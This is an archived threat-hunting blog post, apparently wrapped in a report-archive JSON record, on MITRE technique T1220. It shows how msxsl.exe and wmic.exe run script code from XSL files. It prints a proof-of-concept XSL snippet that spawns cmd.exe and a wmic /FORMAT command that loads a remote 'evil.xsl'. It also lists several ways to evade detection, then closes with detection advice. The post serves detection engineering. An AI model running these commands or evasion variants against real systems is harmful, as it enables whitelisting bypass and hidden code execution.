{
	"id": "a67dc94f-dc7e-4624-893d-7b44a70a469f",
	"created_at": "2026-04-29T08:22:33.032242Z",
	"updated_at": "2026-04-29T10:42:02.110578Z",
	"deleted_at": null,
	"sha1_hash": "e13ed202a57af2efbebdfc508ab17628283295df",
	"title": "MSXSL.EXE AND WMIC.EXE — A Way to Proxy Code Execution",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 787822,
	"plain_text": "MSXSL.EXE AND WMIC.EXE — A Way to Proxy Code\r\nExecution\r\nBy TH Team\r\nPublished: 2019-03-14 · Archived: 2026-04-29 07:12:21 UTC\r\n6 min read\r\nMar 14, 2019\r\nINTRODUCTION\r\nA few months ago, our friends at Mitre added 4 new techniques to the ATT\u0026CK Framework that we quickly\r\nassessed. One of the new technique was “XSL Script Processing” (T1220) and while building detection for it we\r\nfound some very interesting and not documented behaviors. This blog post intends to share the various findings\r\nwe made during our experimentation with T1220.\r\nWhat is XSL Script Processing?\r\nXSL stands for Extensible Stylesheet Language and is used to express the style sheets. XSL is a standard for\r\nprocessing XML (Extensible Markup Language) data. XML is used for storing and transporting data and it does\r\nnot do anything except this. Therefore, if we want to display content stored in XML document, we have to write a\r\nprogram to do so. One way of achieving this goal is to use XSL scripts as it can define how the content in XML\r\ndocument should be displayed on the screen. XSL is very flexible, so much so that it supports scripting in C#, VB,\r\nJScript, JavaScript and VisualBasic. If no language name is specified in XSL language attribute, then the default\r\nlanguage is Jscript [3].\r\nExample: Here is a simple XML Document:\r\n\u003cnote\u003e\r\n\u003cteam\u003eThreat Hunting Team\u003c/team\u003e\r\n\u003cExpertise\u003e\r\nReverse Engineering, Penetration Testing Skills, Malware Analysis, Log Analysis, Red Team and Blue Te\r\n\u003c/note\u003e\r\nNow we have an XML file which defines the skills for Threat Hunting Team. However, to display it, we need\r\nsome kind of program or code.\r\nXSL — An Adversaries’ Favorite\r\nhttps://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75\r\nPage 1 of 7\n\nAs previously mentioned, XSL contains code to do formatting on XML files, which means that it can be a way to\nexecute code supply by an attacker. Due to its legitimate functionality, attackers can use XSL to bypass application\nwhitelisting and execute arbitrary code.\nOne way to execute code through XSL files is to use Microsoft’s command line transformation utility i.e.:\nmsxsl.exe. This binary does not come pre-installed on Windows OS. Therefore, in order to take advantage of it, an\nadversary has to drop it on the system.\nHowever, there is another way to run JScript or VBScript code from XSL files. An attacker can use WMIC.EXE\nto invoke the code from XML file. WMIC.EXE comes pre-installed on all the Windows OS.\nBoth, MSXSL.EXE and WMIC.EXE, can be used to invoke code from local or remote XSL file.\nAbusing XSL\nIn this section, we will discuss how Mitre has explained different ways to exploit this technique using\nMSXSL.EXE and WMIC.EXE and what we have found during our experiments. We will use the following XSL\nand XML files for the POC.\ntestXML.xml\nTest XSL Scripting \u003c![CDATA[\nvar r = new ActiveXObject(\"WScript.Shell\").Run(\"cmd.exe\");\n]]\u003e\nThe code in XSL file spawns a new Command Shell. You could even get a reverse shell using XSL file.\nMSXSL.EXE is a command line utility to perform transformation on XML files. This binary is used for\ndebugging, development and reverse engineering. Attackers also can use this binary to proxy code execution\n[https://attack.mitre.org/techniques/T1220/]. As per Mitre, this binary can be used to invoke code from local XSL\nfile as follows:\nhttps://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75\nPage 2 of 7\n\n1. Invoking code from local XSL file: Once you have saved the above code snippets, open cmd.exe and run the\r\nfollowing command to invoke the code from XSL file as follows:\r\nC:\\Users\\Administrator\\Desktop\u003e msxsl.exe testXML.xml textXSL.xsl\r\nPress enter or click to view image in full size\r\nAs you can see from the above screenshot that new Command Shell has been spawned due to code in XSL File.\r\nAs part of our team’s alert creation process, we always try to bypass our teammates signatures and find additional\r\nways to perform the attack. Following are the different ways we have found to run code from XSL file:\r\nGet TH Team’s stories in your inbox\r\nJoin Medium for free to get updates from this writer.\r\nRemember me for faster sign in\r\n1. Providing more than two Parameters: Instead of passing just XML and XSL file, an attacker can pass more than\r\ntwo parameters by using “=” sign. The command to do so will be:\r\nC:\\Users\\Administrator\\Desktop\\XSL\u003emsxsl.exe TestXML.xml TestXSL.xsl TestXSL.xsl=TestXML.xml TestXSL\r\nPress enter or click to view image in full size\r\nhttps://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75\r\nPage 3 of 7\n\n2. Using XSL file instead of XML File: To evade detection based on type of parameters passed to MSXSL.EXE, to\r\nrun the code, an attacker can pass XSL file instead of XML file as follows:\r\nC:\\Users\\Administrator\\Desktop\\XSL\u003emsxsl.exe TestXSL.xsl TestXSL.xsl\r\nPress enter or click to view image in full size\r\n3. Renaming XSL file to arbitrary extension: Again, if defenders are monitoring file extensions passed to\r\nMSXSL.EXE, an attacker can rename XSL file to any extension and MSXSL.EXE will execute the code\r\ncontained in XSL file, thus bypassing the detection. The reason why this works is that MSXSL.EXE looks at the\r\nheader of the file to determine file type. Example of this attack is as follows:\r\nC:\\Users\\Administrator\\Desktop\\XSL\u003emsxsl.exe TestXSL.jpeg TestXSL.jpeg\r\nPress enter or click to view image in full size\r\nhttps://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75\r\nPage 4 of 7\n\nSo, these are some of the additional ways that an attacker can use to perform code execution using MSXSL.EXE.\r\nCode Execution through WMIC.EXE\r\nWMIC.EXE is the command line utility to use WMI (Windows Management Instrumentation). WMI is out of\r\nscope of this article, but it can be used to perform almost all the tasks on local or remote system (T1047). It is one\r\nof the favourite tools that attackers use for reconnaissance, code execution, lateral movement, etc.\r\nAccording to the information provided about this technique in Mitre’s ATT\u0026CK framework (T1220), an attacker\r\ncan also use WMI to do code execution by using /Format switch. WMIC.EXE is capable to run code from locally\r\nor remote XSL file.\r\nAs per the ATT\u0026CK Framework, following are the different ways of code execution using WMIC.EXE:\r\n1. Execute code from Local File:\r\nwmic process list /FORMAT:evil.xsl\r\n2. Execute code from Remote File:\r\nwmic os get /FORMAT:\"https://example.com/evil.xsl\"\r\nAfter experimenting with WMIC.EXE, we found the following additional ways to run the code from XSL File:\r\n1. Omit File Extension: One of the way that a defender can choose to make an alert on this is to use file extension\r\nin a rule’s logic. However, it is very easy to bypass that kind of rule. To bypass that, the only thing that an attacker\r\nhas to do is to create a XSL file and save it with .xsl format. While invoking XSL file, just omit the file extension.\r\nC:\\Users\\Administrator\\Desktop\\XSL\u003ewmic os get /Format:TestXSL\r\nPress enter or click to view image in full size\r\nhttps://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75\r\nPage 5 of 7\n\nFurthermore, /FORMAT switch has these format specifiers: CSV, HFORM, HTABLE, LIST, MOF, RAWXML,\r\nTABLE, VALUE, XML, etc. As WMI is used a lot by legitimate utilities and it is very noisy in some\r\nenvironments, an attacker can play even more intelligently by creating XSL file with name of format specifiers\r\nfile with same name as of supported format specifiers. Ex: an attacker can create XSL file named list.xsl because\r\nlist is one of the supported format specifier.\r\nThen to invoke code from this, attacker can run the following command:\r\nC:\\Users\\Administrator\\Desktop\\XSL\u003ewmic os get /Format:.\\list\r\nPress enter or click to view image in full size\r\n2. Using other WMI aliases: Attacker can use any alias in WMI to do code execution. The only condition is that\r\nthe alias must have /FORMAT switch. For example, instead of OS or PROCESS alias, an attacker can use other\r\naliases like CPU, BIOS, etc.\r\nPress enter or click to view image in full size\r\nhttps://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75\r\nPage 6 of 7\n\nConclusion\r\nSo if you are Blue Team member and want to detect this attack, then build your rule based binary name (wmic.exe\r\nand msxsl.exe) and it’s metadata like Binary’s description field (if using Sysmon) because it is very easy for an\r\nattacker to copy binary to a folder that he controls and rename it. Moreover, to detect XSL execution with\r\nWMIC.EXE, you can use regex to monitor parameter passed to /FORMAT switch.\r\nAs Threat Hunters and detection builder, we always try to find ways to perform an attack without triggering our\r\nsignatures. So, we encourage all of you to explore the attack, play with parameters, binary location, security\r\ndescriptors, etc. Here’s an excellent talk from Daniel Bohannon and Matthew Dunwoody about building resilient\r\nsignatures if you are interested in learning more on the subject: https://youtu.be/YGJaj6_3dGA\r\nSource: https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75\r\nhttps://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75"
	],
	"report_names": [
		"msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75"
	],
	"threat_actors": [],
	"ts_created_at": 1777450953,
	"ts_updated_at": 1777459322,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e13ed202a57af2efbebdfc508ab17628283295df.pdf",
		"text": "https://archive.orkl.eu/e13ed202a57af2efbebdfc508ab17628283295df.txt",
		"img": "https://archive.orkl.eu/e13ed202a57af2efbebdfc508ab17628283295df.jpg"
	}
}